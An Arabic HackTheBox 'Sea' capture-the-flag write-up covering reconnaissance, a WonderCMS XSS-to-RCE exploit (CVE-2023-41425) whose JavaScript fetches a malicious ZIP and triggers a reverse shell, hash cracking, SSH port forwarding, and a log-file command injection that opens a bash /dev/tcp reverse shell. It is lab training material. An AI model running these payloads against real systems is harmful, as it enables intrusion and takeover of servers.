> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md). # تقرير Sea على HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات**: * استغلال Wonder CMS * ثغرة CSRF * (من XSS إلى RCE) * إعادة توجيه المنافذ * ثغرة تسميم السجلات (LFI - RCE) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p80,22 10.10.11.28 -oN targeted ```

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

**اكتشاف موقع جهات الاتصال:**

**التحقق من الاتصالات بين الخادم والموقع:** / وجدنا جزءًا من الموقع مخصصًا لجهات الاتصال. نتحقق مما إذا كان الخادم يرسل إطارات إلى هذا الموقع.

**استقبال إطار على خادم الويب الخاص بنا:** / لالتقاط هذا الإطار، أنشأنا خادم HTTP بسيطًا باستخدام Python: ```bash python3 -m http.server 555 ```

**اعتراض الطلب باستخدام** [بورب سويت ](/ar/hacking-tools/web/burpsuite.md)**:** / نعترض الطلب باستخدام Burp Suite لتحليل الاتصالات. ## **محتمل** [**SSRF**](/ar/web/ssrf.md)**:** #### نحاول سرد الخدمات الداخلية باستخدام هجوم SSRF، عبر تعديل معلمة الاستعلام: ```bash &website=http:127.0.0.1 ```

**اكتشاف المنافذ الداخلية باستخدام Intruder:** / نستخدم Burp Suite Intruder لتنفيذ هجوم brute force واكتشاف المنافذ الداخلية المفتوحة.

**تصفية الاستجابات:** / نقوم بتصفية الاستجابات بناءً على حجمها لتحديد أيّها ذو صلة، لكن جميعها متشابهة.

## ثغرة WonderCMS ([CSRF](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (من XSS إلى RCE) **البحث عن الأدلة:** / نستخدم Gobuster للبحث عن الأدلة على الموقع: ```bash gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` هذا يعيد لنا **/themes** مجلدًا مع رمز إعادة توجيه 301.

**استكشاف مجلد themes:** / نواصل البحث بإضافة المسار المكتشف إلى الرابط واستكشاف **/themes** الدليل ```bash gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` نعثر على **/bike** المجلد الفرعي.

**التصفية حسب امتدادات الملفات:** / نستخدم *ffuf* لتصفية الملفات ذات امتدادات معينة (php، html، png، إلخ.) في **/bike** الدليل: ```bash ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403 ``` يسمح لنا هذا الأمر بالعثور على ملف باسم **README.md**

وجدنا `README.md` الذي يشير إلى أن الخادم يستخدم سمة تُدعى "WONDER"، وهي نظام إدارة محتوى.

أثناء البحث عن ثغرات مرتبطة بهذا النظام، اكتشفنا خللًا يسمح بتنفيذ أوامر عن بُعد (RCE) عبر حقن XSS. {% embed url="" %} **كود JavaScript للحصول على شِل:** / يقوم كود JavaScript التالي بتنزيل ملف ZIP خبيث يحتوي على سكربت reverse shell ثم ينفذه على الخادم: ```javascript // الخادم لديه مشكلة في حل اسم النطاق باستخدام JavaScript // يمكننا ببساطة توفير رابط الهدف كمعلمة مطلوبة var whateverURL = "http://sea.htb"; var token = document.querySelectorAll('[name="token"]')[0].value; // تعديل مسار ملف ZIP المستضاف على خادم HTTP var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; // زيارة rev.php داخل ملف ZIP المرفوع xhr4.open("GET", whateverURL+"/themes/whatever/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "10.10.14.89"; var port = "4444"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; // تشغيل سكربت reverse shell وتحديد عنوان IP والمنفذ للمستمع xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ``` **تثبيت سكربت الاستغلال للثغرة (CVE-2023-41425):** ```bash git clone https://github.com/prodigiousMind/CVE-2023-41425 cd CVE-2023-41425 ``` نشغّل سكربت الاستغلال: ```bash python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444 ``` السكربت أعلاه يرسل طلبًا إلى خادمنا على المنفذ 8000 عبر `xss.js` ملف، مما يمنحنا وصول RCE والتحكم في الجهاز الهدف.

**الخطوة الأخيرة:** نحتاج إلى إرسال رابط XSS إلى المسؤول عبر `contact.php` النموذج لخداعه والنقر على الرابط الخبيث: {% code fullWidth="true" %} ``` http://sea.htb/index.php?page=loginURL?">

**الاستماع باستخدام Netcat:** / نستمع على المنفذ 4444: ```bash nc -nlvp 4444 ```

#### بمجرد حصولك على وصول إلى خادم Linux، استخدم الأوامر التالية لتثبيت الطرفية ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### ثبّت الغلاف لتعمل براحة أكبر. ## تصعيد الامتيازات: بصفتنا المستخدم *www-data*، سنقوم بتصفية المحتوى باستخدام `find` الأمر للبحث فقط عن الملفات التي تحتوي على الكلمة "**كلمة المرور**" في دليل خادم الويب `/var/www/sea`. ```bash find /var/www/sea -type f -exec grep -Hn "password" {} / ``` نعثر على كلمة مرور مشفّرة في `database.js` الملف: `$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

لفك تشفير هذه الكلمة المرور، نستخدم **John the Ripper** الأداة مع `rockyou.txt` ملف القاموس: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

كلمة المرور المفككة هي mychemicalromance سنحاول الآن الاتصال بالمستخدمين المتاحين في النظام: "geo" و "amays".

كلمة المرور للمستخدم **amays** صحيحة. ### الراية user.txt

بفحص اتصالات الشبكة الداخلية، وجدنا أن المنفذ 8080 قيد الاستخدام: ```bash netstat -ano netstat -nltp ```

لذلك سنحوّل منفذ الخادم 8080 إلى جهاز الهجوم الخاص بنا عبر SSH باستخدام تحويل المنافذ، من المنفذ 8888: ```bash ssh -L 8888:localhost:8080 amay@10.10.11.28 ``` بعد الاتصال، نجد لوحة تسجيل دخول.

مع بيانات اعتماد المستخدم `amay`: `mychemicalromance`، نتمكن من الاتصال بنظام مراقبة.

يمكننا مراقبة سجلات الاتصال الخاصة بـ `root`.

من خلال اعتراض الطلب باستخدام Burp Suite، نلاحظ أنه يعرض محتويات `/var/log/apache2/access.log` الملف بطريقة أكثر تنظيمًا.

لا يمكن فتح هذا الملف إلا بواسطة المستخدم `root`.

### ثغرة [(LFI - RCE) تسميم السجلات](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md): إذا حاولنا سرد ملف مثل `/etc/passwd`، على سبيل المثال: ``` log_file=/etc/passwd &analyze_log=/etc/passwd ``` تم سرد الملف :)

سنحاول بعد ذلك قراءة الملف الذي يحتوي على `root` العلم ونلاحظ أنه من الممكن تنفيذ أوامر (مثل `المعرّف`): ```bash log_file=/root/root.txt;id;----&analyze_log=/root/root.txt ```

### **الوصول الكامل (reverse shell):** للحصول على reverse shell، ننفذ الأمر التالي: {% code fullWidth="false" %} ```bash bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261" ``` {% endcode %} {% code overflow="wrap" fullWidth="true" %} ``` log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt ``` {% endcode %} ثم نستمع باستخدام `nc`: ```bash nc -nvlp 443 ``` ### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.